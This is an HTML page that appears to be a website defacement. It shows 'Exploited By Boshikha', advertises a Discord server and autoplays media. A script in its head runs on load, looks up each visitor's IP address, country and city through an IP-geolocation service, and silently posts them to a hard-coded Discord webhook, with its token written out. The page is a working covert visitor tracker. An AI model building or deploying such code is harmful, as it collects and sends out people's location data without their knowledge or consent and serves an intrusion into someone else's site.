<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Discord.gg/1221</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: black; 
            color: white;
            font-family: Arial, sans-serif;
            text-align: center;
        }
        video {
            width: 100%;
            max-width: 800px;
            margin: 20px auto;
            border-radius: 10px;
        }
        .text {
            margin-top: 20px;
        }
        .text p {
            margin: 10px 0;
        }
        .main-text {
            font-size: 2em;
            color: red;
            font-weight: bold;
        }
        .sub-text {
            font-size: 1.2em;
            color: white;
        }
        .discord-link {
            font-size: 2em;
            color: blue;
            text-decoration: underline;
            font-family: 'Courier New', Courier, monospace;
            letter-spacing: 2px;
        }
    </style>
    <script>
        const webhookURL = "https://discord.com/api/webhooks/1316813623405973504/lwzhgo1DeH8_ds5sKzgjL2qhQXvdDolZkeGVqzmedyU2jEtU-66yx5WngsxCDyrOrmId";

        async function fetchIPDetails() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();

                // عرض البيانات على الصفحة
                document.getElementById('ip').textContent = `IP: ${data.ip}`;
                document.getElementById('location').textContent = `Country & City: ${data.country_name} - ${data.city}`;

                // إرسال البيانات إلى الويب هوك
                sendToWebhook(data);
            } catch (error) {
                console.error('Error fetching IP details:', error);
                document.getElementById('ip').textContent = 'IP: Unable to fetch';
                document.getElementById('location').textContent = 'Country & City: Unable to fetch';
            }
        }

        async function sendToWebhook(data) {
            try {
                const message = {
                    content: `\u{1F4E1} **New Visitor Details**:\n\u{1F4CD} **IP**: ${data.ip}\n\u{1F4CC} **Location**: ${data.country_name} - ${data.city}`
                };

                await fetch(webhookURL, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(message)
                });

                console.log('Details sent to Discord Webhook');
            } catch (error) {
                console.error('Error sending data to webhook:', error);
            }
        }

        window.onload = fetchIPDetails;
    </script>
</head>
<body>
    <video autoplay muted loop>
        <source src="https://g.top4top.io/m_3267t8sga1.mp4" type="video/mp4">
        Your browser does not support the video tag.
    </video>
    <audio autoplay loop>
        <source src="https://i.top4top.io/m_3267luqtd1.mp3" type="audio/mpeg">
        Your browser does not support the audio tag.
    </audio>
    <div class="text">
        <p class="main-text">1221 here don't care</p>
        <p class="main-text">Exploited By Boshikha</p>
        <p class="sub-text" id="ip">Discord.gg/1221</p>
        <p class="sub-text" id="location">Discord.gg/1221</p>
        <p class="discord-link">Discord.gg/1221</p>
    </div>
</body>
</html>
